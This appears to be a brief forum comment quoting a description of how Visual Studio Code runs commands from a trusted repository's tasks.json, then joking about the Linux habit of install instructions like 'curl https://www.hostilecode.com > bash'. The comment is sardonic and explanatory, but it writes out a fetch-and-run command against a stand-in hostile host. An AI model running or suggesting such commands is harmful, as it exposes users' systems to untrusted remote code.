When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system.

Sigh. It's so Microsoft to just run random stuff.

Of course, in the Linux world, we have "Install with"

   curl https://www.hostilecode.com > bash